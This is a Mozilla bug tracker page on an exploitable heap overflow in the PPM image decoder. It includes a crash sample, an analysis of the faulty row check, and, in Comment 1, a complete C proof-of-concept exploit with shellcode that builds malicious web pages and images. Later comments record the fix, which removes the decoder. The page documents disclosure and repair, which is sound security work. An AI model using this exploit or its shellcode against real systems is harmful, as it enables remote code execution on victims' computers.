Closed
Bug 220721
Opened 21 years ago
Closed 21 years ago
exploitable heap corruption via PPM module
Categories
(Core :: Graphics: ImageLib, defect)
Tracking
()
VERIFIED
FIXED
People
(Reporter: dveditz, Assigned: jdunn)
Details
(Keywords: fixed1.4.2, Whiteboard: [sg:fix])
From our pal zen-parse:
Issue details:
Example file that crashes Netscape.
===BEGIN===
P1
0 100
111111111111111111111111111
====END====
(This is an 'image/x-portable-bitmap' type file).
modules/libpr0n/decoders/ppm/nsPPMDecoder.cpp:
mImage->Init(mWidth, mHeight, mObserver);
if (mObserver)
mObserver->OnStartContainer(nsnull, mImage);
mFrame->Init(0, 0, mWidth, mHeight,
GfxIFormats::RGB, 24);
No check is made that the Init()s succeeded.
Adding a
NS_ENSURE_SUCCESS(rv, rv);
after each would help.
NS_METHOD nsPPMDecoder::checkSendRow()
This function checks
mRowDataFill == mBytesPerRow
as the condition for end of row AFTER incrementing
mRowDataFill.
In this case, mBytesPerRow is 0 while mRowDataFill
is 1. The condition isn't met, so there is an
overflow.
Using this it is possible to manipulate the malloc
structure for mRowData, and other data on the heap.
A carefully contructed website or email could
potentially exploit this problem to execute
commands with the local user's permissions.
I have successfully inserted controlled values
into registers used in heap manipulation functions.
Reporter | ||
Comment 1•21 years ago
|
||
Follow-up from zen-parse with exploit details on Linux, he thinks windows is
vulnerable as well. Can someone test this on Linux?
Issue details:
Code creates ~/.mashrc
make peppermint; ./peppermint return_address [GOT
of PR_Free]
eg:
./peppermint 0x44524f42
./peppermint 0xdeadbeef 0xc0cac01a
generates multiple files:
cute.html - Shellcode loader which refreshes to
cuter.html
cuter.html - HTML document holding cute.ppm
cute.ppm - the malformed image
ugly.ppm - the shellcode.
These files can be zipped down to about 100k, and
then referenced by a jar: url to exploit.
====BEGIN====
/*
* Proof of concept exploit code for PPM handler vuln.
* zen-parse Mon 29 September 2003 10.23am NZST
* peppermint.c
*/
#include <stdio.h>
/* address of free in libnspr4.so on RH8.0 */
/* 1st == ./netscape -g -d ldd |grep nspr4 */
/* 2nd == objdump -R libnspr4.so |grep PR_Free */
/* 3rd == -12 which is a fixed offset */
#define GOT 0x40096000 + 0x00031e04 - 12
char sc[]=
"\xeb\x02\xeb\x0d\xe8\xf9\xff\xff\xff\x90\x90\x90\x90\x90\x90\x90"
"\x90\x58\x8b\x18\x85\xdb\x75\x02\xeb\xfe\x31\xdb\x89\x18\xbc\xe0"
"\xff\xff\xbf\x89\xe6\xbb\x01\x48\x4f\x4d\x4b\x4e\x8b\x0e\x39\xcb"
"\x75\xf9\xbb\x4f\x4d\x45\x3d\x46\x46\x8b\x0e\x39\xcb\x74\x04\x4e"
"\x4e\xeb\xe2\xc7\x06\xef\xbe\xad\xde\x81\x2e\xef\xbe\xad\xde\x46"
"\x46\x46\x46\x89\xf7\x46\x8b\x0e\x84\xc9\x75\xf9\xc7\x06\x2f\x2e"
"\x6d\x61\x46\x46\x46\x46\xc7\x06\x73\x68\x72\x63\x46\x46\x46\x46"
"\xc7\x06\xef\xbe\xad\xde\x81\x2e\xef\xbe\xad\xde\x31\xc0\x31\xc9"
"\x31\xd2\x89\xfb\x04\x0a\xcd\x80\x31\xc0\x04\x05\x80\xc1\x41\x66"
"\x81\xc2\xb0\x01\xcd\x80\x89\xc6\x40\x85\xc0\x74\x17\xeb\x1a\x59"
"\x89\xf3\x31\xd2\xb2\x50\x31\xc0\x04\x04\xcd\x80\x89\xf3\x31\xc0"
"\x04\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe1\xff\xff\xff\x23\x73"
"\x6f\x6d\x65\x20\x72\x61\x6e\x64\x6f\x6d\x20\x63\x6f\x6d\x6d\x61"
"\x6e\x64\x73\x0a\x74\x6f\x75\x63\x68\x20\x2f\x76\x61\x72\x2f\x74"
"\x6d\x70\x2f\x6f\x77\x6e\x65\x64\x2e\x60\x77\x68\x6f\x61\x6d\x69"
"\x60\x0a\x65\x78\x69\x74\x0a\x7a\x65\x6e\x2d\x70\x61\x72\x73\x65"
"\x20\x6f\x77\x6e\x65\x64\x20\x79\x6f\x75\x2e\x2e\x2e\x0a";
char buf[40960];
char ubuf[40960];
main(int argc, char *argv[])
{
FILE *p;
union
{
int i;
char c[4];
} r,g;
int c,d;
if(argc<2)exit(1);
r.i=strtoul(argv[1],0,0);
g.i=(argc!=3)?GOT: strtoul(argv[2],0,0)-12;
unlink("cute.ppm");
p=fopen("cute.ppm","w");
if(!p)exit(1);
fprintf(p,"P3 0 100 255\n");
fprintf(p,"0 0 0 0\n0 0 0 0\n0 0 0 0\n0 0 0 0\n");
fprintf(p,"%hhu %hhu %hhu
%hhu\n",g.c[0],g.c[1],g.c[2],g.c[3]);
fprintf(p,"%hhu %hhu %hhu
%hhu\n",r.c[0],r.c[1],r.c[2],r.c[3]);
fclose(p);
unlink("cute.html");
p=fopen("cute.html","w");
if(!p)exit(1);
fprintf(p,"<html>\n");
fprintf(p,"<head>\n");
fprintf(p,"<meta HTTP-EQUIV=\"Refresh\"
content=\"4; URL=cuter.html\">\n");
fprintf(p,"<title>Proof of concept for PPM
bug</title>\n");
for(c=0;c<3000-strlen(sc) - 0x40;c+=2)
{
buf[c+0]=0xeb;
buf[c+1]=0x40;
}
fprintf(p,"</head>\n");
fprintf(p,"<body>");
fprintf(p,"<img src=ugly.ppm>");
fprintf(p,"</body></html>");
fclose(p);
for(;c<3000-strlen(sc);c++) buf[c]=0x40;
strcat(buf,sc);
unlink("ugly.ppm");
p=fopen("ugly.ppm","w");
if(!p)exit(1);
fprintf(p,"P6 2000 8192 255\n");
for(c=0;c<8192*2;c++)
{
fprintf(p,"%s",buf);
}
fclose(p);
unlink("cuter.html");
p=fopen("cuter.html","w");
if(!p)exit(1);
fprintf(p,"<html>\n");
fprintf(p,"<head>\n");
fprintf(p,"<title>Proof of concept for PPM bug :
boom</title>\n");
fprintf(p,"</head>\n");
fprintf(p,"<body>");
for(c=0;c<100;c++)
{
fprintf(p,"<img src=cute.ppm>");
}
fprintf(p,"</body></html>");
}
=====END=====
Flags: blocking1.5+
Flags: blocking1.4.2+
Reporter | ||
Comment 2•21 years ago
|
||
Updating version to 1.4 branch -- PPM was removed from the trunk early in 1.5
Flags: blocking1.5+
Version: Trunk → 1.4 Branch
Comment 3•21 years ago
|
||
personally, I'd fix this by removing the PPM decoder from the 1.4 branch as
well. it's not exactly used much.
Comment 4•21 years ago
|
||
OK, I'm going to remove ppm from the 1.4.2 branch. Any objections?
Comment 5•21 years ago
|
||
PPM removed from the branch.
Status: NEW → RESOLVED
Closed: 21 years ago
Resolution: --- → FIXED
Reporter | ||
Updated•21 years ago
|
Keywords: fixed1.4.2
Comment 6•21 years ago
|
||
verified... PPM module no longer available to be corrupted
Status: RESOLVED → VERIFIED
Reporter | ||
Updated•21 years ago
|
Whiteboard: [sg:fix]
Reporter | ||
Comment 7•21 years ago
|
||
Removing security-sensitive flag for bugs on the known-vulnerabilities list
Group: security
You need to log in
before you can comment on or make changes to this bug.
Description
•